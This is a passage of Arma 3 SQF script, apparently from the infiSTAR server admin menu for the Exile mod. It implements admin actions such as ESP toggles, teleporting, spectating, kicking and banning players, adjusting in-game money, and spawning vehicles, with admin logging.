- case 'AI ESP':{if(isNil 'fnc_infiESP_stateAI')then{fnc_infiESP_stateAI = 1;}else{fnc_infiESP_stateAI = nil;};call fnc_call_single_esps;};
- case 'Dead ESP':{if(isNil 'fnc_infiESP_stateDEAD')then{fnc_infiESP_stateDEAD = 1;}else{fnc_infiESP_stateDEAD = nil;};call fnc_call_single_esps;};
- case 'Loot ESP':{call fnc_LootESP;};
- case 'MapIcons':{call infiSTAR_A3MAPICONS;};
- case 'Vehicle Marker':{call adminVehicleMarker;};
- case 'Flag Marker (with radius)':{call adminFlagMark;};
- case 'DeadPlayer Marker':{call adminDeadPlayer;};
- case 'God Mode':{if('God Mode (no stats change)' in infiSTAR_toggled_A)exitWith{systemChat 'Please disable God Mode (no stats change) first.';_stop=true;};call infiSTAR_A3Invulnerability;};
- case 'God Mode (no stats change)':{if('God Mode' in infiSTAR_toggled_A)exitWith{systemChat 'Please disable God Mode first.';_stop=true;};call infiSTAR_A3Invulnerability2;};
- case 'Vehicle God Mode':{call fnc_infiSTAR_A3cargod;};
- case 'Lower Terrain':{call fnc_LowerTerrain;};
- case 'Vehboost':{call infiSTAR_VehicleBoost;};
- case 'UnlimAmmo':{call fnc_infiSTAR_A3UnlAmmo;};
- case 'noRecoil':{call fnc_infiSTAR_A3noRecoil;};
- case 'FastFire':{call fnc_infiSTAR_A3FF;};
- case 'Stealth / Invisible':{call fnc_infiSTARHIDE;};
- case 'Disable Announces':{call fnc_DisableAnnouncements;};
- case 'Teleport In Facing Direction (10m steps)':{if(isNil'infiSTAR_TpdirectionENABLED')then{infiSTAR_TpdirectionENABLED=true}else{infiSTAR_TpdirectionENABLED=nil;};};
- case 'Show Server Information':{call FN_SERVER_INFORMATION_OVERLAY;};
- };
- if(_stop)exitWith{};
- if(_this in infiSTAR_CUSTOM_Toggleable)then
- {
- _id = infiSTAR_CUSTOM_Toggleable find _this;
- if!(_id isEqualTo -1)then
- {
- call (missionNameSpace getVariable format['FNC_CUSTOM_TOGGLEABLE_%1',_id]);
- };
- };
- if(_this in infiSTAR_toggled_A)then
- {
- lbSetColor [RIGHT_SHIFT_ID,1,[1,0,0,1]];
- infiSTAR_toggled_A = infiSTAR_toggled_A - [_this];
- _log = format['%1 - OFF',_this];
- _log call fnc_adminLog;
- _log call FN_SHOW_LOG;
- }
- else
- {
- lbSetColor [RIGHT_SHIFT_ID,1,[0,1,0,1]];
- infiSTAR_toggled_A pushBack _this;
- _log = format['%1 - ON',_this];
- _log call fnc_adminLog;
- _log call FN_SHOW_LOG;
- };
- };
- fnc_LBDblClick_RIGHT = {
- _click = lbtext[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)];
- if(_click isEqualTo '')exitWith{};
- if(FILLMAINSTATE isEqualTo 1 && LASTSUBBUTTON isEqualTo 2)exitWith
- {
- _num = parseNumber(lbData[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)]);
- if(_num isEqualTo -1337)exitWith{};
- (TRADER_FUNCTION_ARRAY select _num) call FN_EXILE_VEH_TRADER_ADMIN;
- };
- if(_click in infiSTAR_CUSTOM_RUN)exitWith
- {
- _id = infiSTAR_CUSTOM_RUN find _click;
- if!(_id isEqualTo -1)then
- {
- call (missionNameSpace getVariable format['FNC_CUSTOM_RUN_%1',_id]);
- };
- };
- if('==== Base Deleter ====' call ADMINLEVELACCESS)then{[_click] call CCG_fnc_adminClick;};
- if(_click in AH_HackLogArray)exitWith{systemchat _click;diag_log _click;};
- if(_click in AH_SurvLogArray)exitWith{systemchat _click;diag_log _click;};
- if(_click in AH_AdmiLogArray)exitWith{systemchat _click;diag_log _click;};
- if(_click in PVAH_AHTMPBAN)exitWith{
- [-667,_click] call fnc_AdminReq;
- systemchat format['Removed %1 from TempBan Variable. Might still be banned in ban(s).txt',_click];
- [] call fnc_fill_HackLog;[] call fnc_setFocus;
- };
- if(_click in (infiSTAR_Toggleable+infiSTAR_CUSTOM_Toggleable))then{_click call fnc_toggleables;};
- if(_click in (infiSTAR_OnTarget+infiSTAR_CUSTOM_OnTarget))then
- {
- _unit = call fnc_get_selected_object;
- if(_click == 'Light')exitWith{[_unit] call fnc_Light_selected;};
- if(_click == 'Kill')exitWith{[_unit] call fnc_Kill_selected;};
- if(_click == 'Explode')exitWith{[_unit] call fnc_Explode_selected;};
- if(_click == 'Delete Vehicle')exitWith{[_unit] call fnc_deleteVeh_selected;};
- if(_click == 'Change Money on Player')exitWith{if(!isNil'mrthread_x')then{terminate mrthread_x;mrthread_x=nil;};mrthread_x = [_unit,0] spawn fnc_ExileMoneyRespectChange;};
- if(_click == 'Change Money on Bank')exitWith{if(!isNil'mrthread_x')then{terminate mrthread_x;mrthread_x=nil;};mrthread_x = [_unit,1] spawn fnc_ExileMoneyRespectChange;};
- if(_click == 'Change Respect')exitWith{if(!isNil'mrthread_x')then{terminate mrthread_x;mrthread_x=nil;};mrthread_x = [_unit,2] spawn fnc_ExileMoneyRespectChange;};
- _log = format['%1 - %2(%3)',_click,name _unit,getPlayerUID _unit];_log call fnc_adminLog;
- if(_click == 'Teleport - Target To Me')exitWith{[_unit] call fnc_TP2ME;};
- if(_click == 'Teleport - Me To Target')exitWith{[_unit] call fnc_TPME2;};
- if(_click == 'Request Steam Name')exitWith{[_unit] call fnc_getSteamName;};
- if(_click == 'Revive')exitWith{[_unit] call fnc_ReviveTarget;};
- if(_click == 'Heal')exitWith{[_unit] call fnc_HealTarget;};
- if(_click == 'Restore')exitWith{[_unit] call fnc_RepairTarget;};
- if(_click == 'Flip Vehicle')exitWith{[_unit] call fnc_flipVeh;};
- if(_click == 'Move In My Vehicle')exitWith{[_unit] call fnc_MoveInMyVehicle;};
- if(_click == 'Move In Target Vehicle')exitWith{[_unit] call fnc_MoveInTargetVehicle;};
- if(_click == 'Freeze')exitWith{[_unit,true] call fnc_freezeTarget;};
- if(_click == 'UnFreeze')exitWith{[_unit,false] call fnc_freezeTarget;};
- if(_click == 'Unconscious')exitWith{[_unit,true] call fnc_unconscious;};
- if(_click == 'Remove Unconscious')exitWith{[_unit,false] call fnc_unconscious;};
- if(_click == 'Restrain')exitWith{[_unit,true] call fnc_restrainTarget;};
- if(_click == 'UnRestrain')exitWith{[_unit,false] call fnc_restrainTarget;};
- if(_click == 'Remove Gear')exitWith{[_unit] call fnc_RemoveGear;};
- if(_click == 'Eject')exitWith{[_unit] call fnc_EjectTargetVeh;};
- if(_click == 'Eject Crew')exitWith{[_unit] call fnc_EjectCrewTargetVeh;};
- if(_click == 'Force Disconnect')exitWith{[_unit] call fnc_Disconnect_selected;};
- if(_click == 'Kick (Silent)')exitWith{[_unit,0,0] call fnc_do_target;};
- if(_click == 'Kick (Announce)')exitWith{[_unit,0,1] call fnc_do_target;};
- if(_click == 'Ban (Silent)')exitWith{[_unit,1,0] call fnc_do_target;};
- if(_click == 'Ban (Announce)')exitWith{[_unit,1,1] call fnc_do_target;};
- if(_click == 'TempBan (Silent)')exitWith{[_unit,2,0] call fnc_do_target;};
- if(_click == 'TempBan (Announce)')exitWith{[_unit,2,1] call fnc_do_target;};
- if(_click in infiSTAR_CUSTOM_OnTarget)then
- {
- _id = infiSTAR_CUSTOM_OnTarget find _click;
- if!(_id isEqualTo -1)then
- {
- _unit call (missionNameSpace getVariable format['FNC_CUSTOM_ON_TARGET_%1',_id]);
- };
- };
- };
- _exitHere = false;
- {
- if(_click isEqualTo _x)exitWith{[_x,_forEachIndex] call fnc_create_Box;_exitHere=true;};
- } forEach allSupportBoxesNames;
- if(_exitHere)exitWith{true};
- _exitHere = false;
- {
- if(_click isEqualTo format['Create Billboard: %1',_x select 0])exitWith
- {
- _forEachIndex call fnc_createBillboard;
- };
- } forEach pathToCustomBillBoardTextures;
- if(_exitHere)exitWith{true};
- switch (_click) do {
- case '==== OnTarget ====':{if(isNil 'infiSTAR_add_OnTarget')then{infiSTAR_add_OnTarget = true;} else {infiSTAR_add_OnTarget = nil;};};
- case '==== Toggleable ====':{if(isNil 'infiSTAR_add_Toggleable')then{infiSTAR_add_Toggleable = true;} else {infiSTAR_add_Toggleable = nil;};};
- case '==== Base Deleter ====':{if(isNil 'infiSTAR_add_BaseDeleter')then{infiSTAR_add_BaseDeleter = true;} else {infiSTAR_add_BaseDeleter = nil;};};
- case '==== Custom Functions ====':{if(isNil 'infiSTAR_add_customFunctions')then{infiSTAR_add_customFunctions = true;} else {infiSTAR_add_customFunctions = nil;};};
- case '==== Vehicles ====':{if(isNil 'infiSTAR_add_vehicles')then{infiSTAR_add_vehicles = true;} else {infiSTAR_add_vehicles = nil;};};
- case 'clear ingame HackLog':{[0] call fnc_clearLogArray;_click call fnc_adminLog;[] call fnc_fill_HackLog;};
- case 'clear ingame AdminLog':{[1] call fnc_clearLogArray;_click call fnc_adminLog;[] call fnc_fill_AdminLog;};
- case 'BIS FreeRoam Cam (works with ESP)':{call fnc_BIS_FreeRoamCam;_click call fnc_adminLog;};
- case 'FreeRoam Cam (does not work with ESP)':{call fnc_FreeRoamCam;_click call fnc_adminLog;};
- case 'Day':{11 call fnc_changeTime;_click call fnc_adminLog;};
- case 'Night':{23 call fnc_changeTime;_click call fnc_adminLog;};
- case 'AdminConsole':{[] call fnc_workplace;};
- case 'DebugConsole':{[] spawn fnc_RscDisplayDebugPublic;};
- case 'Copy Worldspace(coords) to RPT & Chat':{[] call fnc_worldspace;};
- case 'Mass Message':{[] call fnc_mass_message;};
- case 'Spawn Ammo':{[] call infiSTAR_A3addAmmo;};
- case 'Change ViewDistance':{[] call FN_CHANGE_VIEWDISTANCE;};
- case 'Self Disconnect':{_click call fnc_adminLog;(finddisplay 46) closeDisplay 0;};
- };
- if(_click in newAllItems_CATEGORY)then
- {
- _varstate = missionNameSpace getVariable (_click+'SHOW_STATE');
- if(isNil '_varstate')then
- {
- missionNameSpace setVariable[(_click+'SHOW_STATE'),true];
- }
- else
- {
- missionNameSpace setVariable[(_click+'SHOW_STATE'),nil];
- };
- };
- _class = lbData[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)];
- if(_class in ALLC_ITEMS)exitWith
- {
- call fnc_GET_ITEM;
- };
- if(_class in ALL_VEHS_TO_SEARCH_C)exitWith
- {
- if!(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))exitWith{hint 'You are not allowed to spawn vehicles!';};
- _target = call fnc_get_selected_object;
- _position = AGLToASL (_target modelToWorld [0,10,0]);
- _dir = getDir (vehicle _target);
- if(BTN_SPAWN_VEH_SEL isEqualTo 0)then
- {
- _log = format['Spawning %1 infront of %2! (NonPersistent)',_click,name _target];
- _log call FN_SHOW_LOG;
- [0,_class,_position,_dir,netId _target,false] call fnc_AdminReq;
- format['spawning %1 (NonPersistent)',_click] call fnc_adminLog;
- }
- else
- {
- _log = format['Spawning %1 infront of %2! (Persistent)',_click,name _target];
- _log call FN_SHOW_LOG;
- [0,_class,_position,_dir,netId _target,true] spawn {
- disableSerialization;
- _array = _this;
- call ExileClient_gui_interactionMenu_unhook;
- ExileClientInteractionObject = player;
- _pincode = 4 call ExileClient_gui_keypadDialog_show;
- _array pushBack _pincode;
- _array call fnc_AdminReq;
- };
- format['spawning %1 (Persistent)',_click] call fnc_adminLog;
- };
- };
- if(_click == 'Login')then{if(isNil 'serverCommandLoginDone')then{serverCommandLoginDone = true;serverCommand ('#login '+passwordAdmin);};};
- if((_click find '#kick' > -1) || (_click find '#exec' > -1))then{serverCommand _click;};
- if((FILLMAINSTATE == 0)||(FILLMAINSTATE == 1))then{[] call fnc_fill_infiSTAR_MAIN;};
- };
- fnc_LBSelChanged_RIGHT = {
- _class = lbData[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)];
- _cfg = call {
- if(isClass (configFile >> 'CfgWeapons' >> _class))exitWith{'CfgWeapons'};
- if(isClass (configFile >> 'CfgMagazines' >> _class))exitWith{'CfgMagazines'};
- if(isClass (configFile >> 'CfgVehicles' >> _class))exitWith{'CfgVehicles'};
- ''
- };
- ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 8406);
- ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 8407);
- if(_cfg != '')then
- {
- _txt = gettext(configFile >> _cfg >> _class >> 'Library' >> 'libTextDesc');
- if(_txt isEqualTo '')then{_txt = 'by infiSTAR.de';};
- if(_cfg isEqualTo 'CfgVehicles')then
- {
- _salesPrice = getNumber(missionConfigFile >> 'CfgExileArsenal' >> _class >> 'price');
- if(_salesPrice isEqualTo 0)then{_salesPrice = 'unknown';}else{_salesPrice = format['%1 PopTabs',_salesPrice];};
- _vehicleConfig = configFile >> _cfg >> _class;
- _info = format['Capacity: %1 Armor: %2 Fuel: %3 MaxSpeed: %4 Price: %5',getNumber(_vehicleConfig>>'maximumLoad'),getNumber(_vehicleConfig>>'armor'),getNumber(_vehicleConfig>>'fuelCapacity'),getNumber(_vehicleConfig>>'maxSpeed'),_salesPrice];
- _log = format['Class: %1 %2',_class,_info];
- _txt=(_info+'<br/>'+_txt);
- };
- _ctrlText = '<t align=''center'' size=''0.85''>'+_txt+' </t>';
- _pic = (getText (configFile >> _cfg >> _class >> 'picture'));
- if(_pic call FNC_PIC_VALID)then
- {
- _ctrlText = _ctrlText + '<br/><img align=''center'' size=''3.5'' image='''+_pic+'''/>';
- };
- _ctrl = [findDisplay MAIN_DISPLAY_ID,'RscStructuredText',8406] call fnc_createctrl;
- _ctrl ctrlSetPosition [1.05,0.355 * safezoneH + safezoneY,0.65,0.5];
- _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetStructuredText parseText _ctrlText;
- _ctrl = [findDisplay MAIN_DISPLAY_ID,'RSCEdit',8407] call fnc_createctrl;
- _ctrl ctrlSetPosition [0.59,safezoneY + safezoneH - 0.06,count _class / 100,0.05];
- _ctrl ctrlSetPosition [1.05,(0.355 * safezoneH + safezoneY)-0.05,0.65,0.05];
- _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
- _ctrl ctrlCommit 0;
- _ctrl ctrlSetText _class;
- };
- };
- fnc_getConfig = {
- _cfg = '';
- if(isClass (configFile >> 'CfgWeapons' >> _this))then
- {
- _cfg = 'CfgWeapons';
- }
- else
- {
- if(isClass (configFile >> 'CfgMagazines' >> _this))then
- {
- _cfg = 'CfgMagazines';
- }
- else
- {
- if(isClass (configFile >> 'CfgVehicles' >> _this))then
- {
- _cfg = 'CfgVehicles';
- };
- };
- };
- _cfg
- };
- admin_showGear = {
- if(!isNull cameraOn)then
- {
- closeDialog 0;
- createGearDialog [cameraOn,'RscDisplayInventory'];
- _log = format['Showing Gear of %1',name cameraOn];
- _log call FN_SHOW_LOG;
- };
- };
- fnc_endSpectate = {
- if(!isNil'SPECTATE_THREAD')then{terminate SPECTATE_THREAD;SPECTATE_THREAD=nil;};
- (vehicle player) switchCamera cameraView;
- ctrlDelete ((findDisplay 46) displayCtrl 3025);
- _log = 'Finished spectating.';
- _log call FN_SHOW_LOG;
- };
- fnc_beginspectate = {
- if(!isNil'SPECTATE_THREAD')then{terminate SPECTATE_THREAD;SPECTATE_THREAD=nil;};
- SPECTATE_THREAD = _this spawn {
- disableSerialization;
- _log = 'Spectating - Press F10 to exit.';
- _log call FN_SHOW_LOG;
- _unit = _this;
- _ctrl = [findDisplay 46,'RscStructuredText',3025] call fnc_createctrl;
- _ctrl ctrlSetPosition [safezoneX+0.2,safezoneY+0.405,1,1];
- _ctrl ctrlCommit 0;
- while {true} do
- {
- if(isNil'_unit')exitWith{call fnc_endspectate;};
- if(isNull _unit)exitWith{call fnc_endspectate;};
- _veh = vehicle _unit;
- if(str _veh != str cameraOn)then
- {
- player reveal _unit;
- player reveal _veh;
- _veh switchCamera cameraView;
- format['SPECTATE - switchedCamera on %1(%2)',name _unit,getPlayerUID _unit] call fnc_adminLog;
- };
- _log = format['%1 (%2) @%3',name _unit,getPlayerUID _unit,mapGridPosition _veh];
- _ctrlText = '<t align=''left'' size=''1.1'' color=''#238701''>'+_log+'</t>';
- _moneyP = _unit getVariable ['ExileMoney', 0];
- _moneyP = if(_moneyP > 1000)then{format['%1K',_moneyP / 1000]}else{_moneyP};
- _moneyB = _unit getVariable ['ExileLocker', 0];
- _moneyB = if(_moneyB > 1000)then{format['%1K',_moneyB / 1000]}else{_moneyB};
- _respect = _unit getVariable ['ExileScore', 0];
- _log2 = format['Health: %1 Cash: %2 Bank: %3 Respect: %4',(1-(damage _unit))*100,_moneyP,_moneyB,_respect];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#238701''>'+_log2+'</t>';
- _cwep = '';
- _cammo = '';
- _cmags = '';
- _wpnstate = weaponState _unit;
- if(!isNil '_wpnstate')then
- {
- if(str _wpnstate != '[]')then
- {
- _cwep = _wpnstate select 0;
- _cmags = {_wpnstate select 3 == _x} count magazines _unit;
- _cammo = _wpnstate select 4;
- };
- };
- if(_cwep == '')then
- {
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#238701''>Bare Fists</t>';
- }
- else
- {
- _type = _cwep;
- _cfg = _type call fnc_getConfig;
- _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
- _pic = getText (configFile >> _cfg >> _type >> 'picture');
- _log3 = format[' %1 [%2] (%3/%4)',_displayName,_cwep,_cammo,_cmags];
- _ctrlText = _ctrlText + '<br/><img image='''+_pic+''' align=''left'' size=''1.1''/><t align=''left'' size=''1.1'' color=''#238701''>'+_log3+'</t>';
- if(_veh != _unit)then
- {
- _cwepsV = [];
- {
- if(_x find 'Horn' == -1)then
- {
- _cwepsV pushBack _x;
- };
- } forEach (weapons _veh);
- if(count _cwepsV > 0)then
- {
- _YPOS = safezoneY+0.355;
- {
- _cwep = _x;
- _cammo = _veh ammo _cwep;
- _cmags = {currentMagazine _veh == _x} count magazines _veh;
- _type = _cwep;
- _cfg = _type call fnc_getConfig;
- _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
- _log3a = format[' %1 [%2] (%3/%4)',_displayName,_cwep,_cammo,_cmags];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#A90F68''>'+_log3a+'</t>';
- _YPOS = _YPOS - 0.03;
- } forEach _cwepsV;
- };
- };
- };
- _ct = cursorTarget;
- if(!isNull _ct)then
- {
- if(getPlayerUID _ct != '')then
- {
- _cwep_ct = currentWeapon _ct;
- _cammo_ct = _ct ammo _cwep_ct;
- _cmags_ct = {currentMagazine _ct == _x} count magazines _ct;
- _log4 = format['%1 (%2) @%3',name _ct,getPlayerUID _ct,mapGridPosition _ct];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log4+'</t>';
- _log5 = format['Health: %1 Distance: %2m',(1-(damage _ct))*100,round(cameraOn distance _ct)];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log5+'</t>';
- _type = _cwep_ct;
- _cfg = _type call fnc_getConfig;
- _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
- _pic = getText (configFile >> _cfg >> _type >> 'picture');
- _log6 = format[' %1 [%2] (%3/%4)',_displayName,_cwep_ct,_cammo_ct,_cmags_ct];
- _ctrlText = _ctrlText + '<br/><img image='''+_pic+''' align=''left'' size=''1.1''/><br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log6+'</t>';
- }
- else
- {
- _type = typeOf _ct;
- _cfg = _type call fnc_getConfig;
- _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
- _log4 = format['%1 [%2] @%3',_displayName,_type,mapGridPosition _ct];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log4+'</t>';
- _log5 = format['Health: %1 - Distance: %2m',(1-(damage _ct))*100,round(cameraOn distance _ct)];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log5+'</t>';
- };
- _vehCT = vehicle _ct;
- if((_vehCT isKindOf 'LandVehicle') || (_vehCT isKindOf 'Air') || (_vehCT isKindOf 'Ship') || (_vehCT isKindOf 'Static'))then
- {
- _cwepsV = [];
- {
- if(_x find 'Horn' == -1)then
- {
- _cwepsV pushBack _x;
- };
- } forEach (weapons _vehCT);
- if(count _cwepsV > 0)then
- {
- _YPOS = safezoneY+0.655;
- {
- _cwep = _x;
- _cammo = _vehCT ammo _cwep;
- _cmags = {currentMagazine _vehCT == _x} count magazines _vehCT;
- _type = _cwep;
- _cfg = _type call fnc_getConfig;
- _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
- _log6a = format[' %1 [%2] (%3/%4)',_displayName,_cwep,_cammo,_cmags];
- _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#A90F68''>'+_log6a+'</t>';
- _YPOS = _YPOS + 0.03;
- } forEach _cwepsV;
- };
- };
- };
- _ctrl ctrlSetStructuredText parseText _ctrlText;
- uiSleep .15;
- };
- };
- };
- fnc_clearLogArray = {
- [-668,_this select 0] call fnc_AdminReq;
- _log = 'ingame Log(s) cleared!';
- _log call FN_SHOW_LOG;
- [] call fnc_FULLinit;
- };
- fnc_getSteamName = {
- [9876,getPlayerUID (_this select 0)] call fnc_AdminReq;
- _log = format['Requested Steam Name of %1(%2)',name (_this select 0),getPlayerUID (_this select 0)];
- _log call FN_SHOW_LOG;
- };
- fnc_TP2ME = {
- _unit = _this select 0;
- _pos = player modelToWorld [0,12,0];
- if(_unit isEqualTo vehicle _unit)then{_pos = player modelToWorld [0,1,0];};
- [1,netId _unit,_pos] call fnc_AdminReq;
- _log = format['Teleported %1 to you',name _unit];
- _log call FN_SHOW_LOG;
- };
- fnc_TPME2 = {
- _unit = _this select 0;
- _unit = vehicle _unit;
- _object = vehicle player;
- prevLoc = getPosATL _object;
- _distance = -1;if!(_object isEqualTo player)then{_distance = -5;};
- _pos = _unit modelToWorld [0,_distance,0];
- if(local _object)then
- {
- _object setPos _pos;
- }
- else
- {
- [1,netId player,_pos] call fnc_AdminReq;
- };
- _log = format['Teleported to %1 - press BACKSPACE to revert teleport',name _unit];
- _log call FN_SHOW_LOG;
- };
- fnc_MoveInMyVehicle = {
- _unit = _this select 0;
- _unit moveInAny (vehicle player);
- };
- fnc_MoveInTargetVehicle = {
- _unit = _this select 0;
- player moveInAny (vehicle _unit);
- };
- fnc_EjectTargetVeh = {
- _unit = _this select 0;
- moveOut _unit;
- unassignVehicle _unit;
- _unit action ['eject', (vehicle _unit)];
- };
- fnc_EjectCrewTargetVeh = {
- _unit = _this select 0;
- _veh = (vehicle _unit);
- _uids = [];
- {
- moveOut _x;
- unassignVehicle _x;
- _x action ['eject', _veh];
- _uids pushBack (getPlayerUID _x)
- } forEach (crew _veh);
- };
- fnc_RemoveGear = {
- _target = _this select 0;
- if(typeName _target != 'OBJECT')then
- {
- _target = cursorTarget;
- };
- if(!isNull _target)then
- {
- [11,netId _target] call fnc_AdminReq;
- _log = format['Removed Gear of %1!',name _target];
- _log call FN_SHOW_LOG;
- };
- };
- fnc_worldspace = {
- disableSerialization;
- _name = name cameraOn;
- _puid = getPlayerUID cameraOn;
- _dir = getDir cameraOn;
- _pos = getPosATL cameraOn;
- _worldspace = format['[%1,%2]',_dir,_pos];
- _log = format['Worldspace of %1(%2): %3',_name,_puid,_worldspace];
- systemChat format['%1 - saved to RPT',_log];
- diag_log [_log,'PLAIN DOWN'];
- if(isNull (findDisplay 24))then{(findDisplay 46) createDisplay 'RscDisplayChat';};
- _display = (findDisplay 24);
- _chat = _display displayCtrl 101;
- _chat ctrlSetText _worldspace;
- _log call fnc_adminLog;
- };
- fnc_mass_message = {
- disableSerialization;
- _display = findDisplay 24;
- if(isNull _display)exitWith
- {
- _log = 'open your chat, type a message and start this function again!';
- _log call FN_SHOW_LOG;
- systemchat _log;
- };
- _chat = _display displayCtrl 101;
- _msg = ctrlText _chat;
- (_display) closeDisplay 0;
- [7,toArray _msg] call fnc_AdminReq;
- format['Mass Message: %1',_msg] call fnc_adminLog;
- _log = 'message sent!';
- _log call FN_SHOW_LOG;
- };
- fnc_changeTime = {
- [17,_this] call fnc_AdminReq;
- _log = format['changed time to hour: %1',_this];
- _log call FN_SHOW_LOG;
- };
- fnc_get_addvalue = {
- disableSerialization;
- _display = findDisplay MAIN_DISPLAY_ID;
- _ctrl = [_display,'IGUIBack',77764] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.6,
- 0-(0.033 * safezoneH),
- 0.7,
- 0.099 * safezoneH
- ];
- _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
- _ctrl ctrlCommit 0;
- _ctrl = [_display,'RscEdit',77769] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.6,
- 0,
- 0.7,
- 0.033 * safezoneH
- ];
- ctrlSetFocus _ctrl;
- _ctrl ctrlCommit 0;
- fnc_ButtonClick_77766 = {
- _txt = ctrlText 77769;
- if(_txt != '')then
- {
- fnc_get_addvalue_VALUE = (parseNumber _txt);
- ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77764);
- ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77769);
- ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77766);
- ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77765);
- };
- };
- _ctrl = [_display,'RSCButton',77766] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.8,
- 0.033 * safezoneH,
- 0.3,
- 0.033 * safezoneH
- ];
- _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_77766'];
- fnc_get_addvalue_VALUE = nil;
- _ctrl = [_display,'RscText',77765] call fnc_createctrl;
- _ctrl ctrlSetPosition [
- 0.6,
- 0-(0.033 * safezoneH),
- 0.7,
- 0.033 * safezoneH
- ];
- waitUntil {
- _curval = 0;
- _curname = call {
- if(_this isEqualTo 0)exitWith{_curval = SELECTED_TARGET_PLAYER getVariable ['ExileMoney', 0];'Money on player'};
- if(_this isEqualTo 1)exitWith{_curval = SELECTED_TARGET_PLAYER getVariable ['ExileLocker', 0];'Money on bank'};
- if(_this isEqualTo 2)exitWith{_curval = SELECTED_TARGET_PLAYER getVariable ['ExileScore', 0];'Respect'};
- };
- (findDisplay MAIN_DISPLAY_ID displayCtrl 77766) ctrlSetText format['+/- %1',_curname];
- _addval = parseNumber(ctrlText 77769);
- (findDisplay MAIN_DISPLAY_ID displayCtrl 77766) ctrlEnable true;
- (findDisplay MAIN_DISPLAY_ID displayCtrl 77766) ctrlCommit 0;
- ctrlSetFocus ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77769);
- (findDisplay MAIN_DISPLAY_ID displayCtrl 77765) ctrlSetText format['Current %1: %2 - after change: %3',_curname,_curval,_curval + _addval];
- (findDisplay MAIN_DISPLAY_ID displayCtrl 77765) ctrlCommit 0;
- !isNil 'fnc_get_addvalue_VALUE' ||
- isNull (findDisplay MAIN_DISPLAY_ID displayCtrl 77769)
- };
- if(isNil 'fnc_get_addvalue_VALUE')exitWith{0};
- fnc_get_addvalue_VALUE
- };
- fnc_ExileMoneyRespectChange = {
- _target = _this select 0;
- _option = _this select 1;
- if(typeName _target != 'OBJECT')exitWith
- {
- _log = 'Target is not an Object!';
- _log call FN_SHOW_LOG;
- };
- if!(isPlayer _target)exitWith
- {
- _log = 'Target is not a Player!';
- _log call FN_SHOW_LOG;
- };
- _value = _option call fnc_get_addvalue;
- if(_value isEqualTo 0)exitWith{systemChat 'WHY WOULD YOU WANT TO ADD OR REMOVE 0 POP-TABS..?';};
- _nameit = _option call {
- if(_this isEqualTo 0)exitWith{'Money to player'};
- if(_this isEqualTo 1)exitWith{'Money to bank of player'};
- if(_this isEqualTo 2)exitWith{'Respect to'};
- 'ERROR'
- };
- if(_nameit isEqualTo 'ERROR')exitWith{systemChat 'ERROR';};
- _log = format['%1 %2 %3 %4',if(_value < 0)then{'Removed'}else{'Added'},_nameit,_value,name _target];
- [12001 + _option,netId _target,_value] call fnc_AdminReq;
- _log call FN_SHOW_LOG;
- (_log+'('+getPlayerUID _target+')') call fnc_adminLog;
- };
- fnc_freezeTarget = {
- _target = _this select 0;
- _value = _this select 1;
- if(typeName _target != 'OBJECT')exitWith
- {
- _log = 'Target is not an Object!';
- _log call FN_SHOW_LOG;
- };
- if!(isPlayer _target)exitWith
- {
- _log = 'Target is not a Player!';
- _log call FN_SHOW_LOG;
- };
- [13,netId _target,_value] call fnc_AdminReq;
- _log = format['UnFroze %1!',name _target];
- if(_value)then{_log = format['Froze %1!',name _target];};
- _log call FN_SHOW_LOG;
- };
- fnc_unconscious = {
- _target = _this select 0;
- _value = _this select 1;
- if(typeName _target != 'OBJECT')exitWith
- {
- _log = 'Target is not an Object!';
- _log call FN_SHOW_LOG;
- };
- if!(isPlayer _target)exitWith
- {
- _log = 'Target is not a Player!';
- _log call FN_SHOW_LOG;
- };
- [18,netId _target,_value] call fnc_AdminReq;
- _log = format['Removed unconscious from %1!',name _target];
- if(_value)then{_log = format['Put %1 unconscious!',name _target];};
- _log call FN_SHOW_LOG;
- };
- fnc_restrainTarget = {
- _target = _this select 0;
- _value = _this select 1;
- if(typeName _target != 'OBJECT')exitWith
- {
- _log = 'Target is not an Object!';
- _log call FN_SHOW_LOG;
- };
- if!(isPlayer _target)exitWith
- {
- _log = 'Target is not a Player!';
- _log call FN_SHOW_LOG;
- };
- [15,netId _target,netId player,_value] call fnc_AdminReq;
- _log = format['UnRestrained %1!',name _target];
- if(_value)then{_log = format['Restrained %1!',name _target];};
- _log call FN_SHOW_LOG;
- };
- fnc_create_Box = {
